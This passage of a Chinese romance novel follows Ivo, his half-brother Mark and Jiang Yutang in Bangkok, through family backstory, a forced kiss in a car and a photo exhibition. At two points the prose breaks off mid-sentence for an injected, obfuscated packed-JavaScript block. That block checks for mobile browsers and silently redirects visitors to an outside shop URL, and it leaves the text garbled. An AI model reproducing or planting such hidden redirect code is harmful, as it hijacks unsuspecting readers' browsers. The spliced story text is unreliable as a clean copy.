那时的金姨思想保守,听到他的话,脸倏地就红了。气愤加羞窘,她一把推开那个男人,绕过他往前走。 男人不放弃,还跟在她身后笑着问她:“真的不提供吗?” 她懒得搭理。 她以为这在芭提雅也算是稀有的事,并不是所有欧美男人都像他那样。可那事发生不久,接二连三的,她不停遇上那样的人,每个人都来问她提不提供其他服务。 她可是个卖艺不卖身的人,几乎瞬间就冒出了想换个行业谋生的念头。 就在金姨打算放弃做导游的时候,她意外地遇上了一个来芭提雅出差、顺带逛一逛的德国人。 他有一个既好听又优雅的名字,叫作Daniel。 那天Daniel是碰巧遇上金姨的,金姨一如既往地问外国人是否需要翻译服务,也没抱什么希望,谁知,Daniel却回她:“好啊。” 金姨一脸震惊地望着对方,听到他确定地说:“我说是的,我需要。” 因而接下来的一段时间,她每天都会陪他四处闲逛,给他介绍芭提雅当地的文化与美食,陪他闲聊、同他分享周边发生的稀松小事,或者听他细说。得到快乐与诸多小费的同时,也感觉自己得到了爱。 刚怀上孩子时,金姨忍不住同Daniel分享这个令人激动的消息。她是第一次做母亲,以为Daniel也是第一次做父亲,这将是一个承载着父母爱意出生的孩子,他很快就会娶自己为妻。但显然,她想错了。 Daniel看起来并没有她想象当中的那样开心,还称自己在德国已有一个孩子,问她有什么打算。 他的意思很明确,金姨瞬间就蒙了,问他为什么不早说?为什么要这样对她?为什么要欺骗她?他们之间存在的,难道不是爱情吗? 那时,Daniel露出了同过往所有凑在她耳边的男人一样的笑容,冷漠的,嘲讽的,还有几分难以置信:“Love?Youmustbekidding,it’sjustarelationship.” 那一刻,金姨失去了自己的婚姻与爱,也失去了少女的天真。 但她作为纯真的佛教信徒,认为堕胎有罪,执意要生下这个孩子。Daniel也没有意见,叫她不必担心,该出的抚养费他不会逃避。 后来,金姨独自一人在清迈的医院诞下那名孩子,取名叫Mark。 回忆到这里时,Ivo听到姜遇棠问Mark:“你哥哥的德语名叫Ivo,我查过Ivo在德语里的意思是紫杉木、弓箭手,可你为什么叫Mark啊?这听起来非常普通。” “因为他的名字是Daniel取的,我的名字是我母亲取的啊。” “这样啊。”姜遇棠表示了解,“他中文名叫京墨,那你呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640420|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你中文名叫啥?” Mark实在忍不住了:“拜托,他母亲是中国人啊,他当然会有中文名,可我是泰国人啊。” “啊?抱歉,我忘了这事。那你泰文名就叫Mark吗?没有姓氏?” “有的,我的名字可长了。” 他叽里咕噜地念了一长串外星语,姜遇棠也没有听明白,只能讪讪地笑着说:“哈哈,其实我觉得Mark这个名字也挺好听的啦。” “真的吗?Ivo常说这是一个很烦人的名字诶。” “他怎么可以这么说?”姜遇棠跟着义愤填膺,捣了捣Ivo的胳膊,说,“看来你从小到大都很没礼貌啊。” Ivo面无表情地扯了扯嘴角:“因为他小时候的确很烦人啊。” 那会儿Ivo刚回德国不久,在中国待惯了,中文几乎刻在了他的基因里,睁眼闭眼、思维意识使用的语言全都是中文。陡然来到一个陌生环境,生活习惯、饮食文化皆不相同,加之他根本不会说德语,那段时间他过得非常焦虑。 他念了很长一段时间的语言班,又被迫接受各类家教课程,需要在短时间内跟上同龄人的学习进度,压力不可谓不大。 偏偏那时家里还来了一个比他小上好几岁的小孩,小孩没有任何烦恼,每天都蹦蹦跳跳的,还总是跑到他房里来缠着他,要他陪他玩积木。 Ivo曾多次明确表示自己已经过了玩积木的年纪,他有更重要的事需要去做,但小孩压根不听,还是会跑来同他分享积木。 有时候金姨看到了,会过来阻止,让他不要打扰哥哥学习。他点点头,表示理解,过一会儿又忘了,还是会跑来找他。在Ivo看书时跟他讲话,在Ivo写作业时让他陪他看动画片,Mark总是会想出各种各样的理由来找他。 是在相处了一段时间后,Ivo看着他,想起自己跟他差不多年纪时的事,才猛然意识到或许这个小孩只是太孤独、太寂寞了,所以他会抽时间陪他玩。 再后来,他也渐渐习惯了身边有这样一个人的存在。 习惯他每天都会在自己面前转悠,也习惯了他总是会有说不完的话。 只是这个习惯并没有持续很长时间。 Ivo每年夏天都会回一趟中国,Mark则会跟随金姨一块儿回泰国。 母亲结婚后,很快就生了一个孩子,那个孩子的年纪跟Mark差不多。 最初小孩不认识他,认识之后就展现出了很明显的排斥情绪。 他明白小孩的占有欲总是很强烈的,这种占有欲会表现在对玩具上,也会表现在对自己的父母身上。 那个孩子跟Mark是完全不同的类型,他在见到Ivo的第一天就展现出了敌意。后来一次次的,这种敌意变得越来越明显,会在母亲分水果时,让她不要给外人;也会在姥姥姥爷都在的情况下,问他们,那个人为什么要来我们家。 再后来,他会直接告诉Ivo:“你以后可不可以不要再来我们家了?” Ivo知道,这种话不可能出自一个小朋友,很可能得到过大人的授意。他也知道,他的继父并不喜欢他。 所以从那以后,他再也没有去过中国。他的团队成员都知道,但凡公司有业务是发生在中国的,Ivo要么差其他人去,要么干脆不去,反正他是绝对不会去中国的。 无人知晓其中缘由,只是猜测他或许不擅长中文,也或许是因为中国的饮食不合他胃口。更有甚者,会猜或许中国这个地方,有他不想见到的人,他见了就会做噩梦。 Ivo的确会做噩梦,在回德国后,他发现Mark跟金姨再也不会回来的那天,他做了很长很长的一个噩梦。 17. 梦境 后来他也时常陷入那样的梦境,梦到母亲总是不归家,把他扔给保姆,不管不顾;梦到一直在他耳边叽叽喳喳的小孩突然有一天消失不见了,一声招呼都没和他打。 他总是梦到自己一次又一次地被所有人抛弃。 影视剧里常说,梦和现实是相反的,可他每次醒来都会发现,其实梦和现实并无任何分别。 那些曾经短暂地出现在他生命里的人,一次又一次地抛弃了他,一个又一个。 不过好在,他在过往的失落日常里,深刻地体会过许多等待无望的难受,也被各种各样猛烈的情绪伤害过,早已练就一身处理这类事务的能力。身体好像逐渐形成一种本能,可以很好地控制住自己的情绪,把任何容易侵害自己的情绪都排除在身体之外,使他能够冷静而漠然地面对所有人、处理所有事。 “你在想什么啊?怎么一直不和我们说话?”忽然有人出声,好像伸出一双手将他从梦里拽到了现实。 Ivo转过头,对上两张无辜又不解的脸,两个人的目光里都透出一股肆无忌惮。 最后还是Mark先出的声:“提起小时候,你就开始走神,到底在想什么啊?” 姜遇棠也看着他,问他怎么了,在收到Ivo表示自己没事的信号后,又接着说:“我之前还以为你们是从小到大一块儿长大的呢,原来你俩也分开了很长一段时间哦。” 她讲完,Mark跟着补充:“的确分开了好多年,不过我每个月都会给他打电话,有时候一个月会打好多次,有时候也打不通,因为他根本就不接。” 他说的是事实,在Ivo已经形成一种习惯后,在他已经接受既定的现实之后,Mark忽然开始联系他,好像自己并不是不告而别,会同往常一样絮絮叨叨地同他分享生活当中的零零碎碎。 有时候金姨也会打电话给他,像曾经日常生活中对他的关切一样,问他过得怎么样。 Ivo有时候会平静地给他们回话,有时候干脆不回。 他们好像也习惯了他的性格,但是并没有中断同他的联络,还是会时不时地找他,问他过得好吗,要不要来曼谷玩。 Ivo觉得这只是例行客套的询问,他们也不过是无话可说地走个形式罢了。而这样的形式,他根本就不需要。 在稍微长大些后,Ivo其实也能够理解金姨的行为了。 金姨在德国那几年的日子并不好过,他父亲给了她女朋友的身份,但却并没有给她多少爱和应有的待遇,反倒是将她当作了养育小孩的保姆。 她不会德语,周围的环境和人都不熟悉,爱的人也不爱她。可她还那样年轻,本不该被爱情束缚在一个不属于她的地方。 所以金姨离开,他是可以理解的。 后来的某个夏天,他参加学校的夏令营活动,跟同学一块儿来到曼谷旅游,碰巧住到了金姨家的别墅。 金姨会额外关照他的饮食习惯,会同在德国那会儿一样照顾他。Mark说他变高了,但是并没有变胖,会让妈妈给他多做一些好吃的。 知道夏令营结束的日子,他们还强留他多待了一段时间,带他游曼谷,吃好吃的,跟野生动物接触,希望他能够开心一点。 金姨常问他:“Ivo,你为什么总是那么不开心呢?是发生什么不好的事了吗?” Ivo顿了顿,沉默着,没有回答,她便自顾自地说:“你还是个孩子,不要总是把自己弄得那么辛苦。要是觉得不开心,就多来泰国玩,泰国这个地方会让人忘掉一切烦恼。” 不知道她的话是否是客套,但后来每一年的夏天,他都会来曼谷度假,吃金姨做的地道泰国美食,听Mark聊身边发生的事,好像永远都说不完。 姜遇棠喝完那杯鸡尾酒后,发现对面的灯光陡然变亮,她揣着手机站起来,打算跑到露台那边去拍照:“你们稍等我一会儿,我过去拍个照啊。” Mark跟着起身,问她:“你拍什么啊?” “夜景啊,现在比较好看啦。”姜遇棠抬手指了指对岸,此刻夜色浓重,湄南河上的游船亮着灯来来往往,不知疲倦。 姜遇棠不断地调整着手机上的参数,对着楼下的景致拍了许多照。 Ivo在她身后等了等,又拿起手机看了会儿时间,Mark则是忍不住打了个哈欠。他今天一整天都在带团,这会儿又吃了很多东西,吃饱人就容易犯困,哈欠一个接一个地打。 姜遇棠却好像很有兴致,跟他团里的那些中国游客一样,生机勃勃的,好像永远都不会感到累。 Mark朝她那边看了眼,用泰语对Ivo说:“她看起来很喜欢你,刚刚你去接电话时,她就一直盯着你的方向看。” Ivo没有吱声,不承认,也没有否认。 Mark给他出主意:“你不打算和她交往试试吗?我觉得你们挺合适的啊。” Ivo收起手机:“哪里合适了?更何况,她只是来曼谷旅游的,没几天就要回去了,没有交往的必要吧?” 姜遇棠对着湄南河拍了几张,又往旁边挪了挪,调整角度拍摄对岸的高楼大厦,Mark看看她,又看看Ivo:“那又怎么了?泰国和中国,曼谷和杭州,飞机也不过4小时,又不是去外太空,不是什么不可逾越的距离吧?” Ivo喊来侍应生买单,付完钱,见姜遇棠收起手机,才对Mark说:“只相处了这么几天,我并不了解她啊。” 比起不够了解,Ivo觉得姜遇棠这个人更像是一串乱七八糟的代码,像是一段隐藏了不可读取的数据,是他永远都理解不了的程序。 不像克鲁格,在已设置完备的程序里,他可以清楚地知晓它的运行原理,知道它对外界的识别感知能力,也能够用各类运算预判出它的行为步骤。 可姜遇棠并不是一个智能设备,没法接收他的指令,也无法让他预判出她的动机。 “或许,我和她根本就不是一个世界的人。” 见劝阻无效,Mark也不愿多说什么,只道:“很晚了,我明天还要带团,先走啦。” “好。” “Mark走了?”姜遇棠慢慢走到他跟前,望着Mark离去的背影,恍然惊觉,“所以他是喊你过来买单的啊?” “嗯。”Ivo似乎习以为常,引着姜遇棠朝外走,“他一直都这样。” 真是一个爱坑哥哥的弟弟啊,姜遇棠心想,不过这么看,Ivo的性格其实还挺包容的嘛。 “我们也走吧?” 姜遇棠点点头。 二人一道出了餐厅。 曼谷的夜晚,街边霓虹闪烁,餐馆游人如织,这座城市好像无论何时都格外热闹。 商场仍旧有许多人,从餐厅出来,看到大晚上星巴克的沙发上仍旧坐满了人,好几对年轻情侣挽着胳膊靠坐在一起。 有小孩在路上跑动,蹦蹦跳跳的,似乎所有人都没有烦恼,很开心,很惬意,也很满足。 姜遇棠出神地望着他们,深受感染,不觉间,眼底流露出一丝笑意。 那杯鸡尾酒的度数并不高,酒精含量甚至都没有一瓶百威强,因而姜遇棠的身上只带了些微酒气,但她此刻却要把这丁点儿发挥出十成功效。 她晃了晃脑袋,跟上Ivo,靠近他,又贴着他站定,像是软体动物般,一把抱住他的胳膊,直接往他怀里倒。 明明只有零星酒意,姜遇棠却表现得跟完全喝醉了似的,眼神飘飘忽忽的:“啊,我感觉酒精上头,走不动路了呢。” 恨不得整个人都挂在Ivo身上。 她眨巴着眼望向Ivo,神情慵懒,姿态放松。风一吹,落在肩上的长发轻轻拂动。 突如其来的动作让Ivo一怔,适应了会儿,他才垂目看她:“你喝醉了吗?” “有一点儿吧。”姜遇棠懒洋洋地笑着说,“你信吗?” Ivo盯着她,他也不知道自己该不该相信。 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或许之前还有三分靠演,但此刻,姜遇棠觉得,她是真的想要和Ivo在一起,想和他谈恋爱,想要牢牢抓住这份安全感不撒手的。 她紧紧地抱着Ivo,像一个喝懵了走路无法走直线的醉鬼,脚步飘忽得仿佛随时都会往前倒下去。见状,Ivo只能将其扶稳,扶着她一步一步艰难地往前挪,最后又把她抱上副驾驶座。 假作真时真亦假,随着汽车不断往前行驶,姜遇棠也分不清自己是真的脑袋晕还是装的了,她感觉脑袋昏昏沉沉的,眼皮也变得越来越沉。 挣扎了许久,到底还是抵抗不住猛然强烈的睡意,她干脆地阖上了眼皮。 姜遇棠陷入一个美妙的梦境。 梦见自己开着车驶往曼谷的郊野,和她一道同行的人正是Ivo。 在梦里,Ivo看起来要比现实中好脾气得多,也足够大方。因为梦里他坐在她面前,倾身覆过来,一颗一颗地解开紧致衬衣上的纽扣,露出宽阔的胸膛,还有精瘦的腰身,窗外的风很配合地掀起白色衬衣的衣摆。 真好看啊,姜遇棠想,饱满的胸肌、收紧的腹肌,近在眼前的眼睛,睫毛又长又密,然后是嘴唇。 姜遇棠瞧着,看着,痴迷着,手指跟随视线,忍不住伸过去触碰。 她很专注地感受着,感觉到了肌肉的触感和温度,刹那间,眼神变得暧昧放荡,心脏也开始跳得乱七八糟。 Ivo张开嘴,不知说了什么,舌尖抵着门牙,像是某种诱惑,让人想要一口含住。 没忍住,姜遇棠一把将他抱住,眼波含水地凑上去,说自己想要,而Ivo也不负她所望地剥开她的衣服,亲吻她的耳朵、脸颊、嘴唇,舌尖和牙齿反复揉捻,然后撞了进去。 车内能够听到四面八方传来的玻璃震动声,哐哐哐的,不停不歇。 姜遇棠感觉自己浑身都酥软成了一滩水,迷迷瞪瞪的,她发觉车子倏地停了下来。 骤然醒转,脑袋仍旧跟浆糊似的,分不清现实与梦境。她发了好一会儿的懵,才转过头来,发现Ivo不知从什么时候开始,一直在盯着她,也不知看了多久了。 车厢内的灯光打亮他英俊的脸庞,深沉的眉眼。 是和梦里一样的一张脸,姜遇棠的视线克制不住地在他脸上游移,先是眼睛,然后是鼻子,最后在他微启的薄唇前停下。 “你醒了吗?” 不知道这张嘴真的亲起来是什么感觉,应该很带劲儿吧。 她开始想象Ivo嘴唇的温度,和里头微翘的舌尖,身体好像打了兴奋剂,变得异常亢奋,跃跃欲试。 “......姜遇棠?” 或许是日思夜想得多了,某些想法不断在她脑中积累,累积成量后,就开始指导你的行为,以促成某些不可名状的目的。 “哎,Ivo。”姜遇棠实在控制不住自己的邪念,迎着对方的目光,笑着问他,“你想不想跟我接个吻试试?” 18. 偷吻 姜遇棠的嘴里总是会冒出各类出格到冒犯的想法,口无遮拦,领教得多了,也渐渐成为了一种习惯。 偶尔Ivo也会想,她是否也会将这样的招数用在其他人身上,每当冒出这个想法时,他都会告诉自己,那是肯定的。 她就是这样一个人。 所以在安静了许多个刹那后,他才不冷不热地看了她一眼:“你喝醉了。” “确实有点儿。”姜遇棠靠回椅背上,配合他的说辞点了点头,“不过,谁让你和酒精一样让人沉迷呢?” “我戒不掉。” 她的笑容明晃晃的,像是自我感觉这个说法很有趣似的,目光狡黠,不正经又十足得坦荡。 Ivo看着她,最后选择保持沉默。 得不到回应,姜遇棠又朝他这边看了过来,双手环抱在胸前,突然很认真地问他:“说实话,Ivo,你觉得我这个人怎么样啊?” 不知道她话里又埋了多少陷阱,Ivo选择言简意赅地回答:“挺好的。” “那你喜欢吗?” “还行。” “还行就是喜欢咯。”姜遇棠一边说,视线一边沿着Ivo的唇线溜达,她笑得含情脉脉,“对你们外国人来说,接吻是不是跟吃饭一样简单啊?说起来,我还没有和别人接过吻呢,要不你教教我?我想试试。” Ivo好像听到了一句荒谬的玩笑,惊讶到说不出一个字。 难以理解,又隐隐燃起怒意。 这是两人相处时,姜遇棠第一次在他脸上看到如此明显的情绪,虽然他平常的表情总是和开心毫不相干,但这会儿却是明显的不开心了,但好像不愿在她面前直白地显露,于是默默阴郁着一张脸看向窗外。 晚上十点多,街上仍有许多明亮的灯,如同欧洲装点圣诞的氛围灯,陪伴夜行人度过一个又一个无法区分时令季节的日子。窗外的游客三三两两,说着各国语言,或调情,或玩笑,偶有几辆TukTuk车匆匆而过。 窗户开着,有风吹拂,海王的发丝飘摇着停到他眉前,令他的眉心微微蹙起,带着隐忍的怒意。 姜遇棠丝毫不顾他的怒气,笑容甚至开始变得恶劣,看向他的目光都带着点儿调戏:“虽然你表现得很冷淡,但不知道为什么,你越是不理我,我就越是想要尝试。而这种念头就像扑不灭的火,你懂吧?怎么说呢,可能是因为得不到的永远在骚动?” 姜遇棠自顾自地说着,一点儿都不介意某人此刻正在回避与她视线交流,根本就懒得搭理她。 姜遇棠忍不住笑了下:“听别人说话不把脸转过来,是不是不太礼貌啊?你再不看我、不说话,我可就要当你默认了啊。” 至于默认什么,下一秒,姜遇棠就给出了答案。 她解开安全带,慢慢往驾驶座的方向靠过去。 意识到她要做什么,Ivo终于开口:“我会假装没有听到的,也希望你能够自重。” “为什么要假装?这有什么可假装的?我说了就是说了啊。”姜遇棠带笑的嘴角微微抽动,“至于自重这个问题吧,我也不是对所有人都这样的,更何况,只是接个吻而已,这件事会让你很难办吗?” 她总是会有许多不合逻辑、令人无从招架的说法,Ivo不理解,不过仍是耐着心同她解释:“我们并没有在恋爱,我认为,接吻这事应该在一段恋爱关系中存续,在确定关系之后。” 只有在彼此交心,喜欢且熟悉的情况下,接吻这事的发生才会自然而然。 可姜遇棠想当然地倒反天罡,违反Ivo的因果律:“没准跟我接过吻之后,我们就确定关系了呢。” 这算是什么国家的交往原则? Ivo静静地听她说完,不再给她机会,只是冷淡地提醒她: “你的酒店到了。” 话落,车内响起车锁解开的声音。 请她下车的意思已经十分明显了,姜遇棠不是听不出来。 她知道,正确的做法就是立刻下车,并且礼貌地说一声“谢谢”或是“下次见”,但是胸腔里的欲望得不到纾解反倒开始变大。他越是冷静自持,她的作恶欲就越发膨胀,好像今晚不实现这个念想就没办法睡觉了。 反正早已被人定下罪名,再添一笔罪证好像也无足轻重了。 姜遇棠盯着窗外,暗暗给自己打气,告诉自己,就这一次。 得到了就不再耿耿于怀。 她抱着破罐子破摔的心态猝然转身。 没有听到身后开门动静,Ivo回头看她,正想问一句怎么了,姜遇棠突然朝他扑了过来。她扶着他的肩膀,推着他,咚地一声,脑袋磕在了身后的玻璃上。 预设过许多种做法,万万没料到,会迎来如此唐突的一击。 反应过来她要做什么后,深蓝色眼睛里的瞳仁倏然变大,血液也开始加速流动,一秒偏差,Ivo偏开了脸,使得姜遇棠遽然靠近的吻落在了他的下巴上。 预想的结果出现了偏离,并没有如梦里一般攫取到他唇上的温度,却比梦中更为真实地感受到了他的体温。 姜遇棠本以为自己会甚为遗憾,心脏却超出大脑思考地给出了反应,咚咚咚的,像是要跳出胸腔。 她呆呆地注视着Ivo,纤长的睫毛摩擦着他的脸颊,一颤一颤的。 她能感觉到Ivo的下颌处渐渐绷紧,但也好像仅仅如此,再没有多余的动作。 原以为会被骂,被指责,听他说出更难听的话,她做出这样的举动想当然地做好了承受的准备。 但是并没有。 Ivo还是靠在窗玻璃上,眼神由平静至惶惑地看着她。 从小就生活在一个自己开辟出的安全地带,不与人亲近,也不接受他人的靠近,独立、安全又可靠,已然成为Ivo处变不惊的习惯。 而今天这个地方贸然闯入了生人。 似乎太意外,太仓皇,太始料未及,以至于他都忘了要伸手推开她,忘了本该做出的反应。 姜遇棠便顺从地抱住了他的脖颈,就势将脑袋搭在他肩窝,理直气壮地享受这偷来的短暂温存。 干净清爽的味道再一次将她包裹,是他与她之间贴得最近的一段距离,姜遇棠虽有几分心虚,但神色坦荡,恍若一个图谋不轨的得志小人。 晚上险些闹崩的争论在她出人意料的举动之下失去了效力,念念不忘的事终于得到了自己想要的回音。 窗外潮热夜风簌簌,她的发丝在他脸上纷飞扑腾,散发香气,好像也在为她欢欣雀跃。 Ivo的嘴角微微抿起,心跳慢慢恢复平静,他开口问她:“可以下车了吗?” “当然。”姜遇棠说,又抱了几秒才松开他的脖颈,随即打开身侧的车门,若无其事道,“再见,祝你今晚好梦。” 说话的语气带有很明显的挑衅。 Ivo沉默地看着她,并没有跟她计较,怕再说下去,某人会更加明目张胆地得寸进尺。 恰好这时助理给他来电,其实并没有那么着急,但好像为了短暂地遗忘,他仍是立刻驱车赶往了公司。 直到车身彻底消失于眼前,姜遇棠才收回目光,折身往酒店大堂走去。 这一天对姜遇棠而言,也许用“锦上添花”来形容最为合适。 为了守住这份心情,她强忍睡意没有上床,取出相机,导出这段时间拍的照片,仔细地整理了一番。大多是Ivo,他的照片基本不用修,而姜遇棠自己的,修都修不了。 她给它们建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664060|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个文档,命名为《SummerMemory》。 等到整理完毕,姜遇棠去洗了个澡,换上睡衣。 躺在床上,她又翻出那些照片细看,手指停在Ivo的脸上不再移动。 镜头里的Ivo是平静的,面无表情的,而几小时前的他分明是既生气,又惊惶。 姜遇棠认真反思了一下自己刚刚的行为是否真的特别过分,不过一小会儿功夫她就原谅了自己。只是亲了一下,皮肤与皮肤短暂地接触了一下,根本就没怎么他,有什么大不了的? 少责怪自己,多埋怨他人,反思的事情还是交给别人吧。 她很擅长宽慰自己。 因而这一晚,姜遇棠睡了来曼谷之后最好的一觉。 醒来时听到手机一直在响,微信弹出许多条消息,打开发现全都来自沈倾沐。 沈倾沐给她连着发了好几个视频,说她正在试婚纱,让姜遇棠帮忙做个参考。没有收到回复,她又给姜遇棠发来自己的婚期,称她最近相亲认识了一个人,两人一见钟情,打算半月后就结婚。 姜遇棠将这几条消息反反复复地看了好多遍,确认自己并未看错,急忙给沈倾沐回拨了一个电话。 手机好像出了什么大毛病,信号一直不太好,打了两遍,那边才接通。 姜遇棠开门见山:“怎么忽然这么着急啊?” “急吗?”沈倾沐笑着说,“可能缘分来了,挡都挡不住吧。” 她做事向来不动声色,背地里却是艺高人胆大。 姜遇棠正想出声劝阻,又听她说:“反正我们这种家庭,婚姻总是由不得自己做主,那还不如找个看对眼的呢,你说,是吧?” 不知她是认真的,还是在开玩笑,紧接着,沈倾沐又道:“不过说真的,那天见到他的第一眼,我就知道我完了。我感觉我的心脏都要蹦出来了,一点儿都不夸张,或许这就是传说中的眼缘吧,人真的很难遇到一个这么令自己心动的对象。当时,我的脑袋里就好像有一只蜜蜂嗡嗡作响,不停地告诉我,是他,就是他了。所以我特别主动地去同他搭话,问他要联系方式,好在对方也是第一眼就相中了我。” 这是沈倾沐第一次表现得这么主动,也是非常成功的一次相亲。直到现在,她都还有几分难以置信,难以想象他们会走得这么顺利。 爱情真是神奇。 “怎么样,我结婚的时候你会回国吧?” “那当然啊,我不仅要去抢你的捧花,我还得去做你的御用摄影师呢。” 沈倾沐笑了声,姜遇棠听到听筒里有人跟她说话,她说一会儿的,回头又问姜遇棠:“你那边呢?之前不是说有艳遇嘛,现在情况怎么样啦?” 姜遇棠不禁回忆起昨夜场景,胸口微微发痒,仿佛那人的体温仍旧触手可及。她当然不至于跟沈倾沐百分百打包票,但也觉得差不多了:“我感觉胜利在望了。” 对面稍有几分讶异:“这么快?” “当然,不过其中有80%的可能性是我的理想主义。” “哈哈哈,但我觉得你一定能把他拿下。” 姜遇棠说“借你吉言”,二人又聊了会儿,姜遇棠对她说:“等我回国啊。” “好啊,最好带着你的男友一块儿来。” “我争取的。” 她没跟沈倾沐说Ivo这个人究竟有多难搞,说实话,她还真不确定自己能在这么短的时间内同他确定关系。 不过,不管能不能确定,人总要勇于尝试嘛。 暗自思索着,姜遇棠打开WhatsApp,戳开同Ivo的聊天界面,手指轻敲了两下,便给对方发了过去: 【你说,已经亲过的关系,往后做朋友是不是不再合适?】 19. 原谅 想当然的,没有收到任何回复。 姜遇棠盯着这条自说自话的消息看了半天,WhatsApp上的两个勾始终是灰色的,对话框也毫无动静,令她感到等待的时间倏然变得格外漫长,内心翻腾着,无意识地就会琢磨起他现在在做什么,以及不回消息的缘由。 是在生气?还是不好意思面对?亦或是故意已读不回? 不回消息这点可真让人讨厌啊,即使是Ivo,姜遇棠也无法原谅。她就从来不会不回别人消息,因为她觉得这种行为非常幼稚。 暗暗咒骂着,姜遇棠的脑中不自觉浮起昨夜车内的景象,那个愤怒而惊惶的男人,他不知所措的模样,以及街灯打在他脸上的角度,迷离而匆忙。 很难让人不着迷。 忍不住又给对方发去一条: 【更何况,我们还是见过家人的关系。】 等了等,还是0回复。 姜遇棠想,她可不能再继续坐着,干等他的消息回复了,她得给自己找点儿事做。 这样想着,她便放下手机,从床上下来,开始收拾起了行李。 其实并没有多少衣物可供她收拾,来曼谷的决定做得格外草率,她只背了个大号托特包,包里统共就没带几件衣服。且照姜遇棠的性格,每天都要搭配得不重样,此刻翻遍包包,都找不出几件不重样的了。 最后她挑出一条杏色花边网纱吊带裙,简单给自己化了个妆,理了理发型,便打算出门置办。 酒店附近就有一家大型商场,姜遇棠也没有看地图找寻其他可行性,径直下了楼,直往对面走。 她在商场里四处转悠,从一家服装店走进另一家。牌子大多耳熟能详,在国内各大商场都有门店,风格却和中国版大相径庭,全都是很明显的东南亚风,带有热带地区特有的色调。 她随便走进一家,认真打量模特身上过分夸张与妖艳的蓝色花瓣,自言自语:“这衣服穿在我身上,回头率应该很高吧?” 工作日店里并没有很多顾客,导购们已经无事可做地聚在一处闲聊,见她走近,忙迎上来,用夹杂着泰式口音的英文为她一一介绍。 姜遇棠是很容易受人鼓动的类型,听着介绍,又听了一堆捧夸,当机立断地定下了几条花色繁复的裙子,二话不说地刷了卡。 从商场出来,往酒店方向走,经过某个路口,意外地看到了一个法国摄影师的海报。 这个摄影师她极为熟悉,上学时就经常拜读他的作品,私底下也学过他的拍摄手法、构图角度。从前去法国游玩,还逛过他的摄影展,颇为喜欢。 没想到还能在曼谷撞上。 姜遇棠盯着海报上的展览时间,发现展区离自己并不远,闲来无事,正好可以去逛一逛。 她将购置的大包小包放回酒店,又重新下了楼。 同样因为是工作日,观展的游客也很少,所以临时购票也来得及。 姜遇棠很快就买好了票,抬步打算迈入,忽听身后有人喊她。 “姜遇棠,姜遇棠。” 名字的重音发声明显不对。 回头,就知道是Mark。 他站在街对面,正在等还剩几秒的红绿灯。绿灯亮起时,他便三步并作两步的,匆忙跑了过来。 Mark今日照旧穿着闲适,脸上挂着招牌笑容,走到她面前,摆了摆手,算是同她打招呼。 姜遇棠也同他打了个招呼,好奇问道:“你今天不用带团吗?怎么在这儿?” “今天是自由行,他们想购物,我就带他们去对面的商场了。正好没事,看到这边有摄影展,就过来了,你呢?” 姜遇棠笑笑:“我也打算逛逛摄影展。” “那就一块儿去吧。” “OK。” 展厅游客三三两两,安静得只能听到他俩的脚步声。 此次展览没有任何主题,只是按照摄影师的作品年份做了个大致的区分,有寂静的森林、一望无际的原野,也有孤独行走的老人,和看不出情绪的纠缠的影子。 姜遇棠和Mark一幅幅的看过去,时不时地研究会儿摄影者的心理与感受。 摄影作品是很能反映创作者的思想与情绪的,他想要表达什么,传递什么,爱或者恨,痛苦亦或是喜悦,都能十分直观地传达给观众。 姜遇棠在一张以小狗为主题的照片前驻足。 镜头里,一条秋田犬尾巴勾缠着一束玫瑰,在追着自己的尾巴咬。 身侧的Mark注意到了:“你看起来,似乎很喜欢狗?” 姜遇棠对着他点了点头:“因为它们总能给我带来快乐。” “Ivo也喜欢,不过他没有那么多的时间遛狗,也可能是害怕告别与失去,所以他家里的狗是一条机器狗,你见过吗?” 姜遇棠摇摇头。 “没事,以后总有机会。” 提到Ivo,Mark又问她:“怎么不让Ivo陪你逛展啊?” 姜遇棠随意懒散地回他:“当然是因为他很忙啦,哪有时间陪我玩。” 听她这么说,Mark不禁皱起了眉。 如同正义法官般,他觉得Ivo的做法很不厚道,干脆自作主张地给他打了个电话,以为对方真的在忙,没想到他立刻就接通了。 Mark三言两语表明态度,听筒那端瞬间沉默,简短回复了两句,匆匆挂断,搞得Mark都有几分尴尬:“他说他有会要参加,还要接受采访,这几天都会很忙。” “嗯,是吧?难怪连消息都不回了。” 姜遇棠从他的眼神里读出一丝不加掩饰的同情,但她根本就不在意,无所谓地做了个耸肩的动作,似乎早就习惯了Ivo的行为。 Mark却已经开始了他的宽慰:“他从来都是这样的,对谁都冷冷淡淡的,但其实并不是不关心你。” “哦?是吗?”姜遇棠凑近,小声说,“你觉不觉得,在他心里,我已经被判了死刑?” “不,这太夸张了。”Mark虽然跟姜遇棠来往不多,但仅有的几次交流也能够看出她的性格活泼,是和Ivo截然不同的类型。换句话说,他俩简直就是相辅相成,天生一对。 虽不知昨晚究竟发生了什么,为何一夜过去二人的关系就变成了这样,但Mark还是同她解释:“在我看来,Ivo是非常需要朋友的那类人,尽管他不愿表现出来,也不喜欢主动。我刚去德国那会儿,没有任何朋友,他也没有,所以我觉得我俩是一样的,就总是缠着他,跑去他房间找他说话。我知道他并不喜欢我,但也受不了我的纠缠。那时候我怀疑我真的是他唯一的朋友了。” 